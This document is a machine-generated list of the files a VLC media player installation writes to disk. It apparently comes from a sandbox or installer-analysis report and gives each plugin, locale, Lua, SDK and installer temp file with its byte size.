    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (297298 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (15536 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
    %Program Files% (x86)\VideoLAN\VLC\uninstall.exe (3686 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\UAC.dll (1588 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo (5064 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (20624 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (13368 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (7192 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (9608 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (64932 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (5064 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
    %Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\modern-wizard.bmp (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
